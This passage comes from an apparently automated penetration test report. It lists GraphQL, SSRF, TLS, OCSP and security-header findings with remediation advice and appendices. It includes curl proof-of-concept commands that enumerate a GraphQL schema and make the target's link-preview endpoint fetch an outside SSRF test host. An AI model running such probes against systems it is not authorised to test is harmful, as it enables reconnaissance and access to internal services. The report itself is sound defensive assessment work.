- If supporting returnTo behavior, map short tokens to server-side stored paths to avoid trusting raw URLs.
- Add unit and integration tests for redirect handling to prevent regressions.

2.3.17 PT-16 - GraphQL Field Suggestions Enabled at /graphql

Medium

Identified on: December 18th 2025

Description

The GraphQL endpoint at /graphql returns field name suggestions when querying non-existent fields. This leaks valid field names and facilitates schema enumeration even if introspection were disabled.

Business impact

Field suggestions expose valid schema elements to unauthenticated users, enabling targeted probing and enumeration of queries/mutations. This reduces the effort required for attackers to discover sensitive operations and organize subsequent attacks, such as targeted injections or abuse of specific fields. The impact is information disclosure with moderate likelihood due to public accessibility.

How to exploit

Step 1: Send a malformed query with a misspelled field name to the GraphQL endpoint

```
curl -ksS -H 'Content-Type: application/json' --data-binary '{"query":"{ userz { id } }"}' https://b8fa89de-nginx.aipentest.attack-me.com/graphql -i
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Customize GraphQL error formatting to remove suggestion text from error messages in production
- Override or replace the FieldsOnCorrectTypeRule suggestion behavior to suppress recommendations
- Ensure production configuration disables developer-friendly features (GraphiQL/Playground) and consider rate limiting to reduce enumeration attempts
- Combine with disabled introspection and authentication controls to minimize schema exposure

2.3.18 PT-17 - Server-Side Request Forgery (SSRF) in /api/link-preview allows fetching arbitrary URLs

Low

Identified on: December 18th 2025

Description

The /api/link-preview endpoint accepts a user-supplied URL and fetches it server-side without any origin restrictions. This enables an attacker to make the server perform HTTP/HTTPS requests to attacker-chosen destinations and return the full response content and headers.

Business impact

This issue allows attackers to pivot through the server to access arbitrary HTTP/HTTPS resources. Depending on the deployment, this can lead to disclosure of sensitive internal information, interaction with internal services, and potential exploitation of internal-only management endpoints. Even when internal networks are not reachable, SSRF can still be used to exfiltrate data and assist in further attacks by using the server as a proxy, undermining network segmentation and trust boundaries.

How to exploit

Step 1: Send a POST request to the link preview endpoint with a controlled URL pointing to a known SSRF test domain

```
curl -s -X POST 'https://b8fa89de-nginx.aipentest.attack-me.com/api/link-preview' -H 'Content-Type: application/json' --data '{"url":"http://ssrf.auto-pentest.com"}'
```

Step 2: Optionally repeat over HTTPS to confirm both protocols are allowed

```
curl -s -X POST 'https://b8fa89de-nginx.aipentest.attack-me.com/api/link-preview' -H 'Content-Type: application/json' --data '{"url":"https://ssrf.auto-pentest.com"}'
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Restrict outbound requests to an explicit allowlist of trusted domains required by the feature
- Block requests to private, link-local, and metadata IP ranges (e.g., 127.0.0.0/8, 10.0.0.0/8, 169.254.169.254, ::1, fe80::/10) and resolve DNS to IPs before validation
- Use a hardened SSRF proxy or metadata service that enforces strict policies and DNS pinning to mitigate rebinding
- Normalize and validate URLs server-side, rejecting redirects and non-HTTP(S) schemes, and enforce maximum response sizes and timeouts
- Avoid returning full response bodies; instead, extract only safe preview metadata server-side (title, description) using a sanitizing parser

2.3.19 PT-18 - Weak TLS cipher suites accepted

~~Low~~ Risk Accepted

Identified on: December 18th 2025 | Resolved on: December 19th 2025

Description

The service accepts suboptimal TLS cipher suites or parameters that are not outright broken but weaken confidentiality and forward secrecy. Examples include AES-CBC suites under TLS 1.2, RSA key exchange (TLS_RSA, no forward secrecy), SHA-1 signatures, finite-field DH parameters smaller than 2048 bits, or legacy/weak elliptic curves. These choices increase exposure to downgrade and cross-protocol attacks and are deprecated by modern security guidance. Many Third-Party Risk Management (TPRM) platforms flag this as a medium-to-high risk that can lower external security scores and slow vendor assessments and insurance renewals.

Business impact

This issue can lead to data breaches, regulatory non-compliance, and erosion of customer trust.

Identified Configuration


```
{
  "TLS 1.2": {
    "weak_ciphers": [
      "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA",
      "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA"
    ]
  }
}
```


Remediation

Implement the following measures to eliminate this vulnerability:

- Prefer TLS 1.3 wherever possible. For TLS 1.2, allow only forward-secrecy AEAD suites (ECDHE or DHE with AES-GCM or ChaCha20-Poly1305), disable RSA key exchange (TLS_RSA), disable CBC-mode and 3DES suites, enforce DH parameter size ≥ 2048 bits and modern curves (e.g., secp256r1, X25519), and disallow SHA-1 signatures. Optionally generate a hardened configuration with Mozilla's SSL Configuration Generator (ssl-config.mozilla.org).

2.3.20 PT-19 - Missing OCSP stapling

Low

Identified on: December 18th 2025

Description

The server does not staple an OCSP (Online Certificate Status Protocol) response during the TLS handshake. Without stapling, each client must query the CA to verify revocation status; if the check is blocked or times out, most browsers fail open and accept potentially revoked certificates. An attacker who has obtained a revoked but still-trusted certificate can impersonate the site, decrypt traffic, or hijack sessions while users see no warnings. The extra round-trip also adds latency to every connection and may fail entirely for API clients restricted from outbound OCSP traffic.

Business impact

This issue can weaken security posture and cause performance degradation for users.

Remediation

Implement the following measures to eliminate this vulnerability:

- Enable OCSP stapling (and OCSP Must-Staple if supported) on every TLS termination point and ensure the full certificate chain is served.

2.3.21 PT-20 - Missing or Misconfigured Security Headers

Low

Identified on: December 18th 2025

Description

The application is missing important HTTP security headers or has them misconfigured. Security headers provide defense-in-depth against common web attacks including clickjacking, MIME-sniffing, and protocol downgrade attacks.

Identified Configuration


```
[
 {
  "rule_id": "strict_transport_security_missing",
  "header_name": "Strict-Transport-Security",
  "header_value": ""
 },
 {
  "rule_id": "x_content_type_options_missing",
  "header_name": "X-Content-Type-Options",
  "header_value": ""
 },
 {
  "rule_id": "content_security_policy_missing",
  "header_name": "Content-Security-Policy",
  "header_value": ""
 }
]
```


Remediation

Implement the following measures to eliminate this vulnerability:

- Review the specific header findings and configure your web server or application to return the recommended security headers with appropriate values.

Appendices

A. Scope & Methodology

Methodologies

The AI-powered assessment utilized automated security analysis combined with industry-standard penetration testing methodologies

- AI-Powered Security Analysis Engine
- OWASP Testing Guide v4.2
- PTES (Penetration Testing Execution Standard)
- NIST SP 800-115
- Automated Vulnerability Assessment (OWASP ASVS)

Pentest types

	Black box	Grey box	White box
Goal	Assess security defences against a cyber attack	Assess security defences against a cyber attack	Assess security defences against a cyber attack
Access level	Zero access or internal information	Some internal access and internal information	Complete open access to applications and systems
Pros	Most realistic Testing is performed from point of view of attacker	More efficient and complete than Black Box while saving time and money Testing is performed from point of view of attacker	More comprehensive, less likely to miss a vulnerability Testing is performed from point of view of attacker
Cons	Time consuming and more likely to miss a vulnerability	More hidden vulnerabilities might be missed	More action required by client to provide information and more time necessary to process documents

B. Vulnerability Coverage

OWASP Top 10 Compliance

The assessment fully covers all vulnerability categories defined in the OWASP Top 10, ensuring detection of the most critical web application security risks.

Tested Vulnerability Classes

The assessment explicitly checked for the following vulnerability types:

Injection & Execution	Authentication & Access Control
SQL, NoSQL, XPath, & LDAP Injection	Broken or Improper Authentication
Cross-Site Scripting (XSS)	Missing Authentication for Critical Functions
Server-Side Request Forgery (SSRF)	Insecure Direct Object Reference (IDOR)
Server-Side Template Injection (SSTI)	Improper Access Control
Local File Inclusion (LFI)	Cross-Site Request Forgery (CSRF)
Insecure Deserialization	Excessive Authentication Attempts

Data Security & Logic	Configuration, Files & Cryptography
Business Logic Flaws	Unrestricted File Uploads
Exposure of Sensitive Information	External Control of File Name or Path
Information Exposure via Errors	Open Redirects
Directory Listing Enabled	Improper JWT Signature Verification
Web Cache Poisoning	Broken or Risky Cryptographic Algorithms
Insufficient Data Authenticity	Hard-Coded Passwords or Credentials
Reliance on Cookies Without Integrity	Insufficiently Protected Credentials

C. Glossary

Authentication	The process of verifying the identity of a user, device, or system before granting access to resources.
Authorization	The process of determining what permissions an authenticated user has and what resources they can access.
CVSS	Common Vulnerability Scoring System - A standardized method for rating the severity of security vulnerabilities.
IDOR	Insecure Direct Object Reference - When an application provides direct access to objects based on user-supplied input without proper authorization checks.
PII	Personally Identifiable Information - Any data that could potentially identify a specific individual.
SQL Injection	A code injection technique where malicious SQL statements are inserted into application data entry points.
XSS	Cross-Site Scripting - A vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users.
WAF	Web Application Firewall - A security device that monitors, filters, and blocks HTTP traffic to and from a web application.